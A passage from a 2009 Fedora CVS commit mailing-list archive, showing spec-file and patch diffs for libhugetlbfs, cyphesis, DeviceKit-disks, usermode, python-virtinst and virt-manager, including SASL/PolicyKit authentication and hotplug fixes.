-to \fBcount\fP pages if + or - are not specified. If + or - are specified,
-then the size of the pool will adjust by that amount. Note that there is
-no guarantee that the system can allocate the hugepages requested for the
-Minimum pool. The size of the pools should be checked after executing this
-command to ensure they were successful.
+megabytes, or gigabytes by appending K, M, or G respectively, or as DEFAULT,
+which uses the system's default huge page size for \fBsize\fP. The pool size
+adjustment can be specified by \fBpagecount\fP pages or by \fBmemsize\fP, if
+postfixed with G, M, or K, for gigabytes, megabytes, or kilobytes,
+respectively. If the adjustment is specified via \fBmemsize\fP, then the
+\fBpagecount\fP will be calculated for you, based on page size \fBsize\fP.
+The pool is set to \fBpagecount\fP pages if + or - are not specified. If
++ or - are specified, then the size of the pool will adjust by that amount.
+Note that there is no guarantee that the system can allocate the hugepages
+requested for the Minimum pool. The size of the pools should be checked after
+executing this command to ensure they were successful.
 
 .TP
-.B --pool-pages-max=<size>:[+|-]<count>
+.B --pool-pages-max=<size|DEFAULT>:[+|-]<pagecount|memsize<G|M|K>>
 
 This option sets or adjusts the Maximum number of hugepages. Note that while
 the Minimum number of pages are guaranteed to be available to applications,
 there is not guarantee that the system can allocate the pages on demand when
 the number of huge pages requested by applications is between the Minimum and
-Maximum pool sizes.
+Maximum pool sizes. See --pool-pages-min for usage syntax.
 
 .TP
 .B --enable-zone-movable


Index: libhugetlbfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libhugetlbfs/F-12/libhugetlbfs.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- libhugetlbfs.spec	3 Sep 2009 09:47:36 -0000	1.31
+++ libhugetlbfs.spec	5 Oct 2009 19:01:37 -0000	1.32
@@ -1,13 +1,17 @@
 Name: libhugetlbfs
 Version: 2.6
-Release: 2%{?dist}
+Release: 3%{?dist}
 Summary: A library which provides easy access to huge pages of memory
 
 Group: System Environment/Libraries
 License: LGPLv2+
 URL: http://libhugetlbfs.sourceforge.net/
 Source0: http://downloads.sourceforge.net/libhugetlbfs/%{name}-%{version}.tar.gz
+# Sent upstream for review and possible inclusion in next release on 2009.10.02
+Source1: huge_page_setup_helper.py
 Patch0: libhugetlbfs-2.6-s390x-build.patch
+# Sent upstream for review 2009.10.02, all acked at least once now
+Patch1: libhugetlbfs-2.6-hugeadm-enhancements.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: kernel-devel glibc-headers
 Conflicts: kernel < 2.6.16
@@ -43,6 +47,7 @@ pool size control. pagesize lists page s
 %prep
 %setup -q -n %{name}-%{version}
 %patch0 -p1 -b .s390x-build
+%patch1 -p1 -b .enhanced
 
 %build
 # Parallel builds are not reliable
@@ -51,6 +56,9 @@ make BUILDTYPE=NATIVEONLY
 %install
 rm -rf $RPM_BUILD_ROOT
 make install PREFIX=%{_prefix} DESTDIR=$RPM_BUILD_ROOT LDSCRIPTDIR=%{ldscriptdir} BUILDTYPE=NATIVEONLY
+install -p -m755 %{SOURCE1} $RPM_BUILD_ROOT/%{_bindir}/
+mkdir -p -m755 $RPM_BUILD_ROOT%{_sysconfdir}/security/limits.d
+touch $RPM_BUILD_ROOT%{_sysconfdir}/security/limits.d/hugepages.conf
 
 # remove statically built libraries:
 rm -f $RPM_BUILD_ROOT/%{_libdir}/*.a
@@ -69,6 +77,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libhugetlbfs.so*
 %{_datadir}/%{name}/
 %{_mandir}/man7/libhugetlbfs.7.gz
+%ghost %config(noreplace) %{_sysconfdir}/security/limits.d/hugepages.conf
 %exclude %{_libdir}/libhugetlbfs_privutils.so
 %doc README HOWTO LGPL-2.1 NEWS
 
@@ -88,6 +97,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/hugeadm
 %{_bindir}/hugectl
 %{_bindir}/pagesize
+%{_bindir}/huge_page_setup_helper.py*
 %exclude %{_bindir}/cpupcstat
 %exclude %{_bindir}/oprofile_map_events.pl
 %exclude %{_bindir}/oprofile_start.sh
@@ -99,6 +109,10 @@ rm -rf $RPM_BUILD_ROOT
 %exclude /usr/lib/perl5/TLBC
 
 %changelog
+* Fri Oct 02 2009 Jarod Wilson <jarod at redhat.com> 2.6-3
+- Add hopefully-about-to-be-merged-upstream hugeadm enhancements
+- Add huge pages setup helper script, using new hugeadm enhancements
+
 * Thu Sep 03 2009 Nils Philippsen <nils at redhat.com> 2.6-2
 - fix building on s390x
 



From atorkhov at fedoraproject.org  Mon Oct  5 19:01:41 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon,  5 Oct 2009 19:01:41 +0000 (UTC)
Subject: rpms/cyphesis/devel .cvsignore,1.13,1.14 sources,1.13,1.14
Message-ID: <20091005190141.D1B1611C0298@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/cyphesis/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9141

Modified Files:
	.cvsignore sources 
Log Message:
* Mon Oct 05 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.21-1
- Update to 0.5.21



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cyphesis/devel/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	15 May 2009 14:04:58 -0000	1.13
+++ .cvsignore	5 Oct 2009 19:01:40 -0000	1.14
@@ -1 +1 @@
-cyphesis-0.5.20.tar.bz2
+cyphesis-0.5.21.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cyphesis/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	15 May 2009 14:04:58 -0000	1.13
+++ sources	5 Oct 2009 19:01:40 -0000	1.14
@@ -1 +1 @@
-48fe22b8661d59698ffa417721086829  cyphesis-0.5.20.tar.bz2
+d2018813bfe827af7991075d799786e3  cyphesis-0.5.21.tar.bz2



From davidz at fedoraproject.org  Mon Oct  5 19:01:43 2009
From: davidz at fedoraproject.org (David Zeuthen)
Date: Mon,  5 Oct 2009 19:01:43 +0000 (UTC)
Subject: rpms/DeviceKit-disks/F-12
	0001-Actually-inhibit-the-daemon-when-Inhibit-is-called.patch,
	NONE, 1.1 DeviceKit-disks.spec, 1.35, 1.36
Message-ID: <20091005190144.378E811C0298@cvs1.fedora.phx.redhat.com>

Author: davidz

Update of /cvs/pkgs/rpms/DeviceKit-disks/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9077

Modified Files:
	DeviceKit-disks.spec 
Added Files:
	0001-Actually-inhibit-the-daemon-when-Inhibit-is-called.patch 
Log Message:
* Mon Oct 05 2009 David Zeuthen <davidz at redhat.com> - 007-4%{?dist}
- Rebuild



0001-Actually-inhibit-the-daemon-when-Inhibit-is-called.patch:
 devkit-disks-daemon.c |   10 ++++++++--
 devkit-disks-daemon.h |    3 +--
 2 files changed, 9 insertions(+), 4 deletions(-)

--- NEW FILE 0001-Actually-inhibit-the-daemon-when-Inhibit-is-called.patch ---
>From e672ccb6917772f2e7f0f4294eb2828193eaa89f Mon Sep 17 00:00:00 2001
From: David Zeuthen <davidz at redhat.com>
Date: Mon, 5 Oct 2009 14:31:22 -0400
Subject: [PATCH] Actually inhibit the daemon when Inhibit() is called

Guess this was forgotten with the polkit-1 porting effort.
---
 src/devkit-disks-daemon.c |   10 ++++++++--
 src/devkit-disks-daemon.h |    2 +-
 2 files changed, 9 insertions(+), 3 deletions(-)

diff --git a/src/devkit-disks-daemon.c b/src/devkit-disks-daemon.c
index b8c933b..e3f5bc6 100644
--- a/src/devkit-disks-daemon.c
+++ b/src/devkit-disks-daemon.c
@@ -1288,7 +1288,13 @@ devkit_disks_daemon_local_check_auth (DevkitDisksDaemon            *daemon,
         }
         va_end (va_args);
 
-        if (action_id != NULL) {
+        if (devkit_disks_daemon_local_is_inhibited (daemon)) {
+                throw_error (data->context,
+                             DEVKIT_DISKS_ERROR_INHIBITED,
+                             "Daemon is inhibited");
+                check_auth_data_free (data);
+
+        } else if (action_id != NULL) {
                 PolkitSubject *subject;
                 PolkitDetails *details;
                 PolkitCheckAuthorizationFlags flags;
@@ -1783,7 +1789,7 @@ daemon_inhibitor_disconnected_cb (DevkitDisksInhibitor *inhibitor,
 }
 
 gboolean
-devkit_disks_daemon_local_has_inhibitors (DevkitDisksDaemon *daemon)
+devkit_disks_daemon_local_is_inhibited (DevkitDisksDaemon *daemon)
 {
         return daemon->priv->inhibitors != NULL;
 }
diff --git a/src/devkit-disks-daemon.h b/src/devkit-disks-daemon.h
index dd0a4f0..3164734 100644
--- a/src/devkit-disks-daemon.h
+++ b/src/devkit-disks-daemon.h
@@ -123,7 +123,7 @@ void               devkit_disks_daemon_local_update_spindown     (DevkitDisksDae
 
 gboolean           devkit_disks_daemon_local_has_polling_inhibitors (DevkitDisksDaemon       *daemon);
 
-gboolean           devkit_disks_daemon_local_has_inhibitors (DevkitDisksDaemon       *daemon);
+gboolean           devkit_disks_daemon_local_is_inhibited (DevkitDisksDaemon       *daemon);
 
 DevkitDisksMountMonitor *devkit_disks_daemon_local_get_mount_monitor (DevkitDisksDaemon *daemon);
 
-- 
1.6.5.rc2



Index: DeviceKit-disks.spec
===================================================================
RCS file: /cvs/pkgs/rpms/DeviceKit-disks/F-12/DeviceKit-disks.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- DeviceKit-disks.spec	5 Oct 2009 18:55:35 -0000	1.35
+++ DeviceKit-disks.spec	5 Oct 2009 19:01:42 -0000	1.36
@@ -12,7 +12,7 @@
 Summary: Disk Management Service
 Name: DeviceKit-disks
 Version: 007
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 Group: System Environment/Libraries
 URL: http://cgit.freedesktop.org/DeviceKit/DeviceKit-disks/
@@ -143,6 +143,9 @@ rm -rf $RPM_BUILD_ROOT
 
 # Note: please don't forget the %{?dist} in the changelog. Thanks
 %changelog
+* Mon Oct 05 2009 David Zeuthen <davidz at redhat.com> - 007-4%{?dist}
+- Rebuild
+
 * Mon Oct 05 2009 David Zeuthen <davidz at redhat.com> - 007-3%{?dist}
 - Rebuild
 



From atorkhov at fedoraproject.org  Mon Oct  5 19:02:07 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon,  5 Oct 2009 19:02:07 +0000 (UTC)
Subject: rpms/cyphesis/F-12 .cvsignore,1.13,1.14 sources,1.13,1.14
Message-ID: <20091005190207.6B3B011C0298@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/cyphesis/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9785

Modified Files:
	.cvsignore sources 
Log Message:
* Mon Oct 05 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.21-1
- Update to 0.5.21



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cyphesis/F-12/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	15 May 2009 14:04:58 -0000	1.13
+++ .cvsignore	5 Oct 2009 19:02:07 -0000	1.14
@@ -1 +1 @@
-cyphesis-0.5.20.tar.bz2
+cyphesis-0.5.21.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cyphesis/F-12/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	15 May 2009 14:04:58 -0000	1.13
+++ sources	5 Oct 2009 19:02:07 -0000	1.14
@@ -1 +1 @@
-48fe22b8661d59698ffa417721086829  cyphesis-0.5.20.tar.bz2
+d2018813bfe827af7991075d799786e3  cyphesis-0.5.21.tar.bz2



From mitr at fedoraproject.org  Mon Oct  5 19:04:51 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Mon,  5 Oct 2009 19:04:51 +0000 (UTC)
Subject: rpms/usermode/F-12 .cvsignore, 1.62, 1.63 sources, 1.66,
	1.67 usermode.spec, 1.92, 1.93
Message-ID: <20091005190451.DD46311C00DB@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/usermode/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11548

Modified Files:
	.cvsignore sources usermode.spec 
Log Message:
* Mon Oct  5 2009 Miloslav Trma? <mitr at redhat.com> - 1.102-1
- Update to usermode-1.102



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/usermode/F-12/.cvsignore,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- .cvsignore	15 Sep 2009 19:22:41 -0000	1.62
+++ .cvsignore	5 Oct 2009 19:04:51 -0000	1.63
@@ -1 +1 @@
-usermode-1.101.tar.bz2
+usermode-1.102.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/usermode/F-12/sources,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- sources	15 Sep 2009 19:22:41 -0000	1.66
+++ sources	5 Oct 2009 19:04:51 -0000	1.67
@@ -1 +1 @@
-0f29075fc56be213496086c3fdbfa3d7  usermode-1.101.tar.bz2
+0a8437ef146b8eabbd733959c5cac851  usermode-1.102.tar.bz2


Index: usermode.spec
===================================================================
RCS file: /cvs/pkgs/rpms/usermode/F-12/usermode.spec,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- usermode.spec	15 Sep 2009 19:22:41 -0000	1.92
+++ usermode.spec	5 Oct 2009 19:04:51 -0000	1.93
@@ -1,7 +1,7 @@
 Summary: Tools for certain user account management tasks
 Name: usermode
-Version: 1.101
-Release: 1
+Version: 1.102
+Release: 1%{?dist}
 License: GPLv2+
 Group: Applications/System
 URL: https://fedorahosted.org/usermode/
@@ -47,6 +47,7 @@ make install DESTDIR=$RPM_BUILD_ROOT INS
 
 # make userformat symlink to usermount
 ln -sf usermount $RPM_BUILD_ROOT%{_bindir}/userformat
+ln -s usermount.1 $RPM_BUILD_ROOT%{_mandir}/man1/userformat.1
 
 # We set up the shutdown programs to be wrapped in this package.  Other
 # packages are on their own....
@@ -95,19 +96,25 @@ rm -rf $RPM_BUILD_ROOT
 %files gtk
 %defattr(-,root,root)
 %{_bindir}/usermount
-%{_bindir}/userformat
 %{_mandir}/man1/usermount.1*
+%{_bindir}/userformat
+%{_mandir}/man1/userformat.1*
 %{_bindir}/userinfo
 %{_mandir}/man1/userinfo.1*
 %{_bindir}/userpasswd
 %{_mandir}/man1/userpasswd.1*
 %{_bindir}/consolehelper-gtk
+%{_mandir}/man8/consolehelper-gtk.8*
 %{_bindir}/pam-panel-icon
+%{_mandir}/man1/pam-panel-icon.1*
 %{_datadir}/%{name}
 %{_datadir}/pixmaps/*
 %{_datadir}/applications/*
 
 %changelog
+* Mon Oct  5 2009 Miloslav Trma? <mitr at redhat.com> - 1.102-1
+- Update to usermode-1.102
+
 * Tue Sep 15 2009 Miloslav Trma? <mitr at redhat.com> - 1.101-1
 - Update to usermode-1.101
 



From crobinso at fedoraproject.org  Mon Oct  5 19:09:11 2009
From: crobinso at fedoraproject.org (Cole Robinson)
Date: Mon,  5 Oct 2009 19:09:11 +0000 (UTC)
Subject: rpms/python-virtinst/F-11 virtinst-0.400.3-sasl-auth.patch, NONE,
	1.1 virtinst-0.400.3-windows-acpi.patch, NONE,
	1.1 python-virtinst.spec, 1.71, 1.72
Message-ID: <20091005190911.C3F1111C00DB@cvs1.fedora.phx.redhat.com>

Author: crobinso

Update of /cvs/pkgs/rpms/python-virtinst/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13686

Modified Files:
	python-virtinst.spec 
Added Files:
	virtinst-0.400.3-sasl-auth.patch 
	virtinst-0.400.3-windows-acpi.patch 
Log Message:
Allow SASL auth (bz 484099)
Use ACPI for windows on KVM (bz 479977)


virtinst-0.400.3-sasl-auth.patch:
 cli.py |  101 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 100 insertions(+), 1 deletion(-)

--- NEW FILE virtinst-0.400.3-sasl-auth.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1241723712 14400
# Node ID 5d6dc8af58b592b00035f28334ab1284ae1a0f21
# Parent  bec888f2890f7eff9c7d05c46a5059172497dba4
Allow PolicyKit and SASL authentication.

Use openAuth when opening the initial connection: allows PolicyKit and
SASA username/password auth.

diff -r bec888f2890f -r 5d6dc8af58b5 virtinst/cli.py
--- a/virtinst/cli.py	Tue May 26 12:43:46 2009 -0400
+++ b/virtinst/cli.py	Thu May 07 15:15:12 2009 -0400
@@ -145,6 +145,7 @@
     print _("Exiting at user request.")
     sys.exit(0)
 
+# Connection opening helper functions
 def getConnection(connect):
     if not User.current().has_priv(User.PRIV_CREATE_DOMAIN, connect):
         fail(_("Must be root to create Xen guests"))
@@ -152,7 +153,105 @@
         fail(_("Could not find usable default libvirt connection."))
 
     logging.debug("Using libvirt URI '%s'" % connect)
-    return libvirt.open(connect)
+    return open_connection(connect)
+
+def open_connection(uri):
+    open_flags = 0
+    valid_auth_options = [libvirt.VIR_CRED_AUTHNAME,
+                          libvirt.VIR_CRED_PASSPHRASE,
+                          libvirt.VIR_CRED_EXTERNAL]
+    authcb = do_creds
+    authcb_data = None
+
+    return libvirt.openAuth(uri, [valid_auth_options, authcb, authcb_data],
+                            open_flags)
+
+def do_creds(creds, cbdata):
+    try:
+        return _do_creds(creds, cbdata)
+    except:
+        _util.log_exception("Error in creds callback.")
+        raise
+
+def _do_creds(creds, cbdata_ignore):
+
+    if (len(creds) == 1 and
+        creds[0][0] == libvirt.VIR_CRED_EXTERNAL and
+        creds[0][2] == "PolicyKit"):
+        return _do_creds_polkit(creds[0][1])
+
+    for cred in creds:
+        if cred[0] == libvirt.VIR_CRED_EXTERNAL:
+            return -1
+
+    return _do_creds_authname(creds)
+
+# PolicyKit auth
+def _do_creds_polkit(action):
+    if os.getuid() == 0:
+        logging.debug("Skipping policykit check as root")
+        return 0 # Success
+    logging.debug("Doing policykit for %s" % action)
+
+    import subprocess
+    import commands
+
+    bin_path = "/usr/bin/polkit-auth"
+
+    if not os.path.exists(bin_path):
+        logging.debug("%s not present, skipping polkit auth." % bin_path)
+        return 0
+
+    cmdstr = "%s %s" % (bin_path, "--explicit")
+    output = commands.getstatusoutput(cmdstr)
+    if output[1].count(action):
+        logging.debug("User already authorized for %s." % action)
+        # Hide spurious output from polkit-auth
+        popen_stdout = subprocess.PIPE
+        popen_stderr = subprocess.PIPE
+    else:
+        popen_stdout = None
+        popen_stderr = None
+
+    # Force polkit prompting to be text mode. Not strictly required, but
+    # launching a dialog is overkill.
+    env = os.environ.copy()
+    env["POLKIT_AUTH_FORCE_TEXT"] = "set"
+
+    cmd = [bin_path, "--obtain", action]
+    proc = subprocess.Popen(cmd, env=env, stdout=popen_stdout,
+                            stderr=popen_stderr)
+    out, err = proc.communicate()
+
+    if out and popen_stdout:
+        logging.debug("polkit-auth stdout: %s" % out)
+    if err and popen_stderr:
+        logging.debug("polkit-auth stderr: %s" % err)
+
+    return 0
+
+# SASL username/pass auth
+def _do_creds_authname(creds):
+    retindex = 4
+
+    for cred in creds:
+        credtype, prompt, ignore, ignore, ignore = cred
+        prompt += ": "
+
+        res = cred[retindex]
+        if credtype == libvirt.VIR_CRED_AUTHNAME:
+            res = raw_input(prompt)
+        elif credtype == libvirt.VIR_CRED_PASSPHRASE:
+            import getpass
+            res = getpass.getpass(prompt)
+        else:
+            logging.debug("Unknown auth type in creds callback: %d" %
+                          credtype)
+            return -1
+
+        cred[retindex] = res
+
+    return 0
 
 #
 # Prompting

virtinst-0.400.3-windows-acpi.patch:
 Guest.py  |   26 +++------------------
 osdict.py |   75 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
 2 files changed, 77 insertions(+), 24 deletions(-)

--- NEW FILE virtinst-0.400.3-windows-acpi.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1247587582 14400
# Node ID 8b5d60a01fe3f4300683b105c8cd3bffd62649bf
# Parent  020c0a312e7fc3b39936b731f6373398aad1dcf2
Refactor osdict lookup routines.

Allow specifying minimally supported libvirt and hypervisor version for
various parameters. Move most of this code out of Guest and into osdict.

diff -r 020c0a312e7f -r 8b5d60a01fe3 virtinst/Guest.py
--- a/virtinst/Guest.py	Tue Jul 14 09:53:46 2009 -0400
+++ b/virtinst/Guest.py	Tue Jul 14 12:06:22 2009 -0400
@@ -816,34 +816,16 @@
         Using self.os_type and self.os_variant to find key in OSTYPES
         @returns: dict value, or None if os_type/variant wasn't set
         """
-        typ = self.os_type
-        var = self.os_variant
-        if typ:
-            if var and self._OS_TYPES[typ]["variants"][var].has_key(key):
-                return self._OS_TYPES[typ]["variants"][var][key]
-            elif self._OS_TYPES[typ].has_key(key):
-                return self._OS_TYPES[typ][key]
-        return self._DEFAULTS[key]
+        return osdict.lookup_osdict_key(self.conn, self.type, self.os_type,
+                                        self.os_variant, key)
 
     def _lookup_device_param(self, device_key, param):
         """
         Check the OS dictionary for the prefered device setting for passed
         device type and param (bus, model, etc.)
         """
-        os_devs = self._lookup_osdict_key("devices")
-        default_devs = self._DEFAULTS["devices"]
-        for devs in [os_devs, default_devs]:
-            if not devs.has_key(device_key):
-                continue
-            for ent in devs[device_key][param]:
-                hv_types = ent[0]
-                param_value = ent[1]
-                if self.type in hv_types:
-                    return param_value
-                elif "all" in hv_types:
-                    return param_value
-        raise RuntimeError(_("Invalid dictionary entry for device '%s %s'" % \
-                             (device_key, param)))
+        return osdict.lookup_device_param(self.conn, self.type, self.os_type,
+                                          self.os_variant, device_key, param)
 
     def terminate_console(self):
         if self._consolechild:
diff -r 020c0a312e7f -r 8b5d60a01fe3 virtinst/osdict.py
--- a/virtinst/osdict.py	Tue Jul 14 09:53:46 2009 -0400
+++ b/virtinst/osdict.py	Tue Jul 14 12:06:22 2009 -0400
@@ -19,6 +19,9 @@
 # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
 # MA 02110-1301 USA.
 
+import libvirt
+
+import _util
 
 """
 Default values for OS_TYPES keys. Can be overwritten at os_type or
@@ -64,6 +67,68 @@
 
     return retlist
 
+def parse_key_entry(conn, hv_type, key_entry):
+    d = _util.get_uri_driver(conn.getURI())
+    libver = libvirt.getVersion()
+    try:
+        drvver = libvirt.getVersion(d)[1]
+    except:
+        drvver = 0
+
+    if type(key_entry) == list:
+        # List of tuples with hv_type, version, etc. mappings
+        for tup in key_entry:
+            exp_hvs = tup[0]
+            if type(exp_hvs) != list:
+                exp_hvs = [exp_hvs]
+            exp_hv_ver = 0
+            exp_lib_ver = 0
+            val = tup[-1]
+
+            if len(tup) > 2:
+                exp_hv_ver = tup[1]
+            if len(tup) > 3:
+                exp_lib_ver = tup[2]
+
+            if hv_type not in exp_hvs and "all" not in exp_hvs:
+                continue
+
+            if exp_hv_ver and drvver > exp_hv_ver:
+                continue
+
+            if exp_lib_ver and libver > exp_lib_ver:
+                continue
+
+            return val
+    else:
+        return key_entry
+
+def lookup_osdict_key(conn, hv_type, os_type, var, key):
+
+    dictval = DEFAULTS[key]
+    if os_type:
+        if var and OS_TYPES[os_type]["variants"][var].has_key(key):
+            dictval = OS_TYPES[os_type]["variants"][var][key]
+        elif OS_TYPES[os_type].has_key(key):
+            dictval = OS_TYPES[os_type][key]
+
+    return parse_key_entry(conn, hv_type, dictval)
+
+
+def lookup_device_param(conn, hv_type, os_type, var, device_key, param):
+
+    os_devs = lookup_osdict_key(conn, hv_type, os_type, var, "devices")
+    default_devs = DEFAULTS["devices"]
+
+    for devs in [os_devs, default_devs]:
+        if not devs.has_key(device_key):
+            continue
+
+        return parse_key_entry(conn, hv_type, devs[device_key][param])
+
+    raise RuntimeError(_("Invalid dictionary entry for device '%s %s'" %
+                       (device_key, param)))
+
 # NOTE: keep variant keys using only lowercase so we can do case
 #       insensitive checks on user passed input
 OS_TYPES = {\
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1247588030 14400
# Node ID 3c68ba7758a6190f28ec32ab20a3ce96f7802542
# Parent  8b5d60a01fe3f4300683b105c8cd3bffd62649bf
Turn on ACPI/APIC for windows, except for Xen < 3.1.0.

See discussion at:

https://www.redhat.com/archives/et-mgmt-tools/2009-July/msg00000.html

diff -r 8b5d60a01fe3 -r 3c68ba7758a6 virtinst/osdict.py
--- a/virtinst/osdict.py	Tue Jul 14 12:06:22 2009 -0400
+++ b/virtinst/osdict.py	Tue Jul 14 12:13:50 2009 -0400
@@ -225,10 +225,16 @@
     },
     "variants": { \
         "winxp":{ "label": "Microsoft Windows XP (x86)",
-                  "acpi": False, "apic": False },
+                  "acpi": [ ("xen", 3001000, False),
+                            ("all", True ), ],
+                  "apic": [ ("xen", 3001000, False),
+                            ("all", True ), ], },
         "winxp64":{ "label": "Microsoft Windows XP (x86_64)" },
         "win2k": { "label": "Microsoft Windows 2000",
-                   "acpi": False, "apic": False },
+                  "acpi": [ ("xen", 3001000, False),
+                            ("all", True ), ],
+                  "apic": [ ("xen", 3001000, False),
+                            ("all", True ), ], },
         "win2k3": { "label": "Microsoft Windows 2003" },
         "win2k8": { "label": "Microsoft Windows 2008" },
         "vista": { "label": "Microsoft Windows Vista" },


Index: python-virtinst.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-virtinst/F-11/python-virtinst.spec,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- python-virtinst.spec	5 Oct 2009 17:49:39 -0000	1.71
+++ python-virtinst.spec	5 Oct 2009 19:09:09 -0000	1.72
@@ -17,7 +17,7 @@
 Summary: Python modules and utilities for installing virtual machines
 Name: python-%{appname}
 Version: 0.400.3
-Release: 10%{_extra_release}
+Release: 11%{_extra_release}
 Source0: http://virt-manager.org/download/sources/%{appname}/%{appname}-%{version}.tar.gz
 Patch1: %{appname}-%{version}-fix-virtimage-scratch.patch
 Patch2: %{appname}-%{version}-hostdev-libvirt-calls.patch
@@ -43,6 +43,10 @@ Patch12: %{appname}-%{version}-virtio-de
 Patch13: %{appname}-%{version}-preview-detection.patch
 # Add F12 to os dictionary
 Patch14: %{appname}-%{version}-f12-distro.patch
+# Allow SASL auth (bz 484099)
+Patch15: %{appname}-%{version}-sasl-auth.patch
+# Use ACPI for windows on KVM (bz 479977)
+Patch16: %{appname}-%{version}-windows-acpi.patch
 
 License: GPLv2+
 Group: Development/Libraries
@@ -84,6 +88,8 @@ and install new VMs) and virt-clone (clo
 %patch12 -p1
 %patch13 -p1
 %patch14 -p1
+%patch15 -p1
+%patch16 -p1
 
 %build
 python setup.py build
@@ -119,6 +125,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/virt-convert
 
 %changelog
+* Mon Oct 05 2009 Cole Robinson <crobinso at redhat.com> - 0.400.3-11.fc11
+- Allow SASL auth (bz 484099)
+- Use ACPI for windows on KVM (bz 479977)
+
 * Mon Oct 05 2009 Cole Robinson <crobinso at redhat.com> - 0.400.3-10.fc11
 - Fix detection of fedora preview trees (bz 499718)
 - Add F12 to os dictionary



From crobinso at fedoraproject.org  Mon Oct  5 19:19:56 2009
From: crobinso at fedoraproject.org (Cole Robinson)
Date: Mon,  5 Oct 2009 19:19:56 +0000 (UTC)
Subject: rpms/virt-manager/F-11 virt-manager-0.7.0-fix-vcpu-hotplug.patch,
	NONE, 1.1 virt-manager-0.7.0-remove-hotplug-checks.patch, NONE,
	1.1 virt-manager.spec, 1.53, 1.54
Message-ID: <20091005191956.E0B4C11C00DB@cvs1.fedora.phx.redhat.com>

Author: crobinso

Update of /cvs/pkgs/rpms/virt-manager/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19672

Modified Files:
	virt-manager.spec 
Added Files:
	virt-manager-0.7.0-fix-vcpu-hotplug.patch 
	virt-manager-0.7.0-remove-hotplug-checks.patch 
Log Message:
Fix typo in vcpu hotplug
Allow memory hotplug for KVM (bz 524297)


virt-manager-0.7.0-fix-vcpu-hotplug.patch:
 domain.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE virt-manager-0.7.0-fix-vcpu-hotplug.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1253823268 14400
# Node ID d78b7e7131439dc9f22c8e7391e82c5f29888fe8
# Parent  cfcd19d057ddc973a129e7816cd4ea39f0d4365a
Fix vcpu hotplug.

diff -r cfcd19d057dd -r d78b7e713143 src/virtManager/domain.py
--- a/src/virtManager/domain.py	Thu Sep 24 11:41:49 2009 -0400
+++ b/src/virtManager/domain.py	Thu Sep 24 16:14:28 2009 -0400
@@ -1355,7 +1355,7 @@
         self._change_cdrom(result, dev_id_info)
 
     def hotplug_vcpu(self, vcpus):
-        self.vm.setVcpus()
+        self.vm.setVcpus(int(vcpus))
 
     def hotplug_vcpus(self, vcpus):
         vcpus = int(vcpus)

virt-manager-0.7.0-remove-hotplug-checks.patch:
 details.py |   17 ++++++-----------
 domain.py  |   24 ------------------------
 2 files changed, 6 insertions(+), 35 deletions(-)

--- NEW FILE virt-manager-0.7.0-remove-hotplug-checks.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1236966695 14400
# Node ID 9530fb06ad66cd517ab305c3a4bf426ef69439ed
# Parent  7ab8a12b3527d97bc92acca7e6e6ff3fbdd9746b
Remove mem/cpu hotplug checks.

We can't reliably determine whether it's supported or not, so just leave
the error reporting up to libvirt.

diff -r 7ab8a12b3527 -r 9530fb06ad66 src/virtManager/details.py
--- a/src/virtManager/details.py	Fri Mar 13 13:13:24 2009 -0400
